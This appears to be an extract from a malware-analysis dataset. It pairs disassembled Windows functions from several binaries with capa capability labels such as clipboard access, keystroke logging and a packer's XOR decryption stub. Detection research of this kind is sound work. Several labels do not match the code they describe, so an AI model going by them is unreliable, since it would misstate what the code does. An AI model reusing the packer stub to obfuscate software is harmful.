joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431490
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x84], 0
je 0x4314c5
push 0x100
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403c24
jmp 0x4314cf
mov eax, esi
mov edx, dword [ebx + 0x6c]
call fcn.00403bd8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4320b0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x64]
test esi, esi
je 0x4320e8
mov eax, esi
call fcn.00425830
test al, al
je 0x4320e8
mov eax, dword [ebx + 0x64]
call fcn.00425698
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4320e8
push 0
mov eax, dword [ebx + 0x64]
call fcn.00425698
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x442f1c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x118], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x443076
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x443056
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x111], 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x105
lea eax, [ebp - 0x111]
push eax
lea eax, [ebp - 0x118]
mov edx, ebx
call fcn.00403ce4
lea eax, [ebp - 0x118]
mov edx, 0x44308c
call fcn.00403dc4
mov eax, dword [ebp - 0x118]
call fcn.00403f80
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x442fc8
lea eax, [ebp - 0x111]
call fcn.00407f70
mov ecx, eax
lea edx, [ebp - 0x111]
mov eax, esi
call fcn.00403c24
jmp 0x442fcf
mov eax, esi
call fcn.00403b40
cmp bl, 0x61
jae 0x442ff0
lea edx, [ebp - 0x118]
mov eax, dword [esi]
call fcn.0040ba7c
mov edx, dword [ebp - 0x118]
mov eax, esi
call fcn.00403bd8
jmp 0x44300a
lea edx, [ebp - 0x118]
mov eax, dword [esi]
call fcn.0040b9f0
mov edx, dword [ebp - 0x118]
mov eax, esi
call fcn.00403bd8
lea eax, [ebp - 0x118]
push eax
mov eax, dword [esi]
mov dword [ebp - 0x120], eax
mov byte [ebp - 0x11c], 0xb
lea edx, [ebp - 0x120]
xor ecx, ecx
mov eax, 0x443098
call fcn.004086c0
mov edx, dword [ebp - 0x118]
mov eax, esi
call fcn.00403bd8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44305d
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret

Function at 0x4456c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403f80
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4456d9
test al, 0x10
jne 0x4456dd
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x445824
Capabilities:
Open clipboard

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 4], 0
jne 0x44585d
mov eax, dword [0x4a49c8]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
mov dword [ebx + 8], eax
test eax, eax
jne 0x445850
push ebx
push 0x445864
call fcn.0042bb70
mov dword [ebx + 8], eax
mov byte [ebx + 0xc], 1
mov eax, dword [ebx + 8]
push eax
call sub.user32.dll_OpenClipboard
mov byte [ebx + 0xd], 0
inc dword [ebx + 4]
pop ebx
ret

Function at 0x445884
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00445824
push 1
call sub.user32.dll_GetClipboardData
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4458f6
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x4458ca
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov edx, eax
mov eax, ebx
call fcn.00403cf4
jmp 0x4458d1
mov eax, ebx
call fcn.00403b40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4458fd
cmp dword [ebp - 8], 0
je 0x4458ed
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
mov eax, dword [ebp - 4]
call fcn.004457f8
ret

Function at 0x445904
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4459e2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00445824
xor edx, edx
push ebp
push 0x4459c5
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
je 0x44598e
mov edx, ebx
mov eax, dword [0x4167a4]
call fcn.0041ad2c
test al, al
je 0x44597e
movzx eax, bx
push eax
call sub.user32.dll_GetClipboardData
mov esi, eax
push 9
call sub.user32.dll_GetClipboardData
push eax
mov ecx, esi
mov edx, ebx
mov eax, edi
call fcn.0041ac00
call fcn.004036bc
jmp 0x4459cc
movzx eax, bx
push eax
call sub.user32.dll_EnumClipboardFormats
mov ebx, eax
test bx, bx
jne 0x445949
lea edx, [ebp - 8]
mov eax, dword [0x4a47f4]
call fcn.0040543c
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x406abc]
call fcn.0040ae84
call fcn.0040361c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4459cc
mov eax, dword [ebp - 4]
call fcn.004457f8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4459e9
lea eax, [ebp - 8]
call fcn.00403b40
ret

Function at 0x4459f0
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00445824
xor eax, eax
push ebp
push 0x445a48
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
call sub.user32.dll_GetClipboardData
mov ebx, eax
push 9
call sub.user32.dll_GetClipboardData
mov esi, eax
push esi
mov ecx, ebx
mov dx, 2
mov eax, edi
mov ebx, dword [eax]
call dword [ebx + 0x58]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x445a4f
mov eax, dword [ebp - 4]
call fcn.004457f8
ret
Function at 0x445a58
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00445824
xor edx, edx
push ebp
push 0x445aad
push dword fs:[edx]
mov dword fs:[edx], esp
push 3
call sub.user32.dll_GetClipboardData
mov ebx, eax
push 9
call sub.user32.dll_GetClipboardData
push eax
mov ecx, ebx
mov dx, 3
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0x58]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x445ab4
mov eax, dword [ebp - 4]
call fcn.004457f8
ret

Function at 0x445b24
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00445824
xor eax, eax
push ebp
push 0x445b99
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004457dc
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 0xa]
mov eax, ebx
call fcn.0041ad00
mov eax, dword [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
call sub.user32.dll_SetClipboardData
cmp dword [ebp - 0x10], 0
je 0x445b83
mov eax, dword [ebp - 0x10]
push eax
push 9
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x445ba0
mov eax, dword [ebp - 4]
call fcn.004457f8
ret

Function at 0x445ba8
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00445824
xor eax, eax
push ebp
push 0x445c1d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004457dc
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 0xa]
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0x5c]
mov eax, dword [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
call sub.user32.dll_SetClipboardData
cmp dword [ebp - 0x10], 0
je 0x445c07
mov eax, dword [ebp - 0x10]
push eax
push 9
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x445c24
mov eax, dword [ebp - 4]
call fcn.004457f8
ret
Function at 0x4470e0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x204], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x447277
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x204]
mov eax, ebx
call fcn.00446bb0
mov eax, dword [ebp - 0x204]
lea edx, [esi + 1]
call fcn.0040b6ec
cmp al, 2
jne 0x447126
dec esi
mov eax, ebx
call fcn.00446ec4
test al, al
je 0x447217
test esi, esi
jge 0x44713b
xor esi, esi
lea edi, [esi + 1]
lea edx, [ebp - 0x204]
mov eax, ebx
call fcn.00446bb0
mov eax, dword [ebp - 0x204]
call fcn.00403dbc
cmp edi, eax
jge 0x447182
lea edx, [ebp - 0x204]
mov eax, ebx
call fcn.00446bb0
mov eax, dword [ebp - 0x204]
mov al, byte [eax + edi - 1]
mov edx, dword [0x4a4b3c]
and eax, 0xff
bt dword [edx], eax
jae 0x447182
inc edi
mov eax, dword [ebx + 0x138]
cmp esi, eax
jl 0x447190
mov esi, eax
mov edi, esi
mov ecx, edi
mov edx, edi
mov eax, ebx
call fcn.004470bc
cmp edi, esi
je 0x44720f
lea eax, [ebp - 0x100]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, 0x100
lea eax, [ebp - 0x200]
mov byte [eax], 0
inc eax
dec edx
jne 0x4471b6
mov byte [ebp - 0x1f0], 0x81
mov byte [ebp - 0x1db], 0x81
lea eax, [ebp - 0x200]
push eax
call sub.user32.dll_SetKeyboardState
push 1
push 0x25
push 0x100
mov eax, ebx
call fcn.00425698
push eax
call sub.user32.dll_SendMessageA
push 1
push 0x25
push 0x101
mov eax, ebx
call fcn.00425698
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x100]
push eax
call sub.user32.dll_SetKeyboardState
mov dword [ebx + 0x140], esi
jmp 0x44725e
test esi, esi
jge 0x44721d
xor esi, esi
lea edx, [ebp - 0x204]
mov eax, ebx
call fcn.00446bb0
mov eax, dword [ebp - 0x204]
call fcn.00403dbc
cmp esi, eax
jl 0x447253
lea edx, [ebp - 0x204]
mov eax, ebx
call fcn.00446bb0
mov eax, dword [ebp - 0x204]
call fcn.00403dbc
mov esi, eax
mov ecx, esi
mov edx, esi
mov eax, ebx
call fcn.004470bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44727e
lea eax, [ebp - 0x204]
call fcn.00403b40
ret
Function at 0x44b08c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax - 4]
mov ebx, dword [eax + 0x118]
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x44b212
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax - 4]
mov edx, dword [eax + 0x150]
mov eax, dword [ebx + 0x10]
call fcn.00417e88
cmp byte [ebp + 8], 0
je 0x44b0e5
mov eax, dword [ebp + 0xc]
mov edx, dword [eax + 0xc]
mov eax, dword [ebx + 0x10]
call fcn.00417d58
jmp 0x44b0f3
mov eax, dword [ebp + 0xc]
mov edx, dword [eax + 8]
mov eax, dword [ebx + 0x10]
call fcn.00417d58
mov eax, dword [ebx + 0x10]
call fcn.00417e80
dec eax
jle 0x44b139
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebx + 0x10]
call fcn.00417d50
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
push 0
push 0
lea eax, [ebp - 0x24]
push eax
mov edi, dword [ebx + 0x10]
mov eax, edi
call fcn.00417e80
push eax
push 0x12200
call sub.gdi32.dll_ExtCreatePen
mov edx, eax
mov eax, edi
call fcn.00417e18
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov edi, dword [eax - 8]
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ebx + 0x28]
call dword [ebx + 0x24]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0x14]
mov edx, dword [edx + esi*4]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
shr ecx, 1
add edx, ecx
add eax, edx
mov dword [ebp - 0xc], eax
mov eax, esi
xor eax, 1
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0x14]
mov edx, dword [edx + eax*4]
mov dword [ebp - 0x14], edx
add eax, 2
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0x14]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x18], eax
lea eax, [esi + 2]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0x14]
mov eax, dword [edx + eax*4]
mov edx, dword [ebp - 4]
add eax, dword [edx]
mov dword [ebp - 0x10], eax
xor ebx, ebx
lea eax, [esi + ebx]
mov edx, dword [ebp - 0xc]
mov dword [edi + eax*4], edx
mov eax, esi
xor eax, 1
mov edx, eax
add edx, ebx
mov ecx, dword [ebp - 0x14]
mov dword [edi + edx*4], ecx
add ebx, 2
lea edx, [esi + ebx]
mov ecx, dword [ebp - 0xc]
mov dword [edi + edx*4], ecx
add eax, ebx
mov edx, dword [ebp - 0x18]
mov dword [edi + eax*4], edx
add ebx, 2
inc dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx + 0x28]
call dword [ecx + 0x24]
mov edx, dword [ebp - 4]
add eax, dword [edx]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jle 0x44b19b
shr ebx, 2
push ebx
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax - 0xc]
push eax
push edi
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x118]
call fcn.00418c74
push eax
call sub.gdi32.dll_PolyPolyline
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4780b3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x4a3866
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x47810b
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x4a3887
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x478101
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x47810f
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8

Function at 0x4899ff
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x4a45ce
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x489a57
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x4a45ef
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x489a4d
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x489a5b
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x78b02e5b
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..text
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x515f4617
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x40123f
Capabilities:
Create pipe
Get thread local storage value
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0040c290
mov eax, dword [0x245b25c]
mov ecx, dword [0x245ace8]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x401333
mov edi, ecx
mov ebx, eax
cmp dword [0x245b25c], 0x959
jne 0x401323
push esi
lea eax, [ebp - 0xc00]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push str.nitocobadewepoyalovacapedekakor
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea eax, [ebp - 0x800]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push esi
lea eax, [ebp - 0x1000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str.yabufipafu
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x40126b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4045f9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x442058]
jne 0x404603
repz ret
jmp fcn.0040919a

Function at 0x40b9fb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x442058]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406d40
and dword [ebp - 0x14], 0
cmp dword [0x448b40], 0
mov dword [ebp - 0x18], eax
jne 0x40baae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40bb56
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40bb56
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x448b40], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x448b44], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x448b48], eax
call edi
push eax
call esi
mov dword [0x448b50], eax
test eax, eax
je 0x40baae
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x448b4c], eax
mov eax, dword [0x448b4c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40bb07
cmp dword [0x448b50], ecx
je 0x40bb07
push eax
call esi
push dword [0x448b50]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40bb07
test ebx, ebx
je 0x40bb07
call edi
test eax, eax
je 0x40bafe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40bafe
test byte [ebp - 8], 1
jne 0x40bb07
or dword [ebp + 0x10], 0x200000
jmp 0x40bb3a
mov eax, dword [0x448b44]
cmp eax, dword [ebp - 0x18]
je 0x40bb3a
push eax
call esi
test eax, eax
je 0x40bb3a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40bb3a
mov eax, dword [0x448b48]
cmp eax, dword [ebp - 0x18]
je 0x40bb3a
push eax
call esi
test eax, eax
je 0x40bb3a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x448b40]
call esi
test eax, eax
je 0x40bb56
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40bb58
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004045f9
leave
ret
Function at 0x404ee0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
xor eax, eax
cmp dword [esp + 0x18], 0
je 0x405101
cmp dword [esp + 0x1c], 0
jle 0x4050a8
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
lea ecx, [edx + eax]
mov dword [esp], ecx
jmp 0x404f35
cmp esi, 0xc0
jne 0x4050ff
and ebx, 0x1ff800
cmp ebx, 0xd800
je 0x4050ff
add edx, ebp
cmp edx, ecx
jae 0x4050a8
movzx ebx, byte [edx]
cmp ebx, 0xf4
ja 0x4050ff
mov eax, ebx
and al, 0xfe
cmp al, 0xc0
je 0x4050ff
mov eax, ebx
and eax, 0xffffffc0
cmp eax, 0x80
je 0x4050ff
mov ebp, 1
test bl, bl
jns 0x404f2b
mov esi, ebx
and esi, 0xffffffe0
cmp esi, 0xc0
jne 0x404f9c
movzx edi, byte [edx + 1]
mov eax, edi
and eax, 0xffffffc0
cmp eax, 0x80
jne 0x4050ff
and ebx, 0x1f
shl ebx, 6
mov ebp, 2
xor eax, eax
jmp 0x40506b
mov eax, ebx
and eax, 0xfffffff0
cmp eax, 0xe0
jne 0x404fe9
movzx eax, byte [edx + 1]
mov ecx, eax
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x4050ff
movzx edi, byte [edx + 2]
mov ecx, edi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x4050ff
and ebx, 0xf
shl ebx, 0xc
and eax, 0x3f
shl eax, 6
or ebx, eax
mov ebp, 3
xor eax, eax
jmp 0x405068
mov eax, ebx
and eax, 0xfffffff8
cmp eax, 0xf0
jne 0x4050ff
movzx ebp, byte [edx + 1]
mov eax, ebp
not eax
or eax, 0xc0
add eax, ebp
cmp eax, 0x7f
jne 0x4050ff
movzx ecx, byte [edx + 2]
mov eax, ecx
and eax, 0xffffffc0
cmp eax, 0x80
jne 0x4050ff
movzx edi, byte [edx + 3]
mov eax, edi
not eax
or eax, 0xc0
add eax, edi
cmp eax, 0x7f
jne 0x4050ff
mov eax, ebp
xor eax, 0xfffc0
or ebp, 0x3f
and ebp, eax
shl ebx, 0xc
add ebx, 0x3f10000
shl ebp, 6
or ebp, ebx
and ecx, 0x3f
or ecx, ebp
shl ecx, 6
mov al, 1
mov ebp, 4
mov ebx, ecx
mov ecx, dword [esp]
and edi, 0x3f
or edi, ebx
cmp edi, 0x80
jb 0x4050ff
cmp edi, 0x7ff
jbe 0x404f0d
cmp edi, 0xffff
ja 0x40509a
test al, al
je 0x404f19
jmp 0x4050ff
cmp edi, 0x10ffff
jbe 0x404f19
jmp 0x4050ff
mov edi, dword [esp + 0x1c]
lea eax, [edi + 1]
push eax
call dword [0x4c7008]
add esp, 4
test eax, eax
je 0x4050ff
mov esi, eax
mov byte [eax + edi], 0
push edi
push dword [esp + 0x1c]
push eax
call fcn.0040cbb0
add esp, 0xc
push 0x10
call dword [0x4c7008]
add esp, 4
test eax, eax
je 0x4050f5
mov dword [eax], 0
mov dword [eax + 4], 2
mov dword [eax + 8], esi
mov dword [eax + 0xc], edi
jmp 0x405101
push esi
call dword [0x4c7004]
add esp, 4
xor eax, eax
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret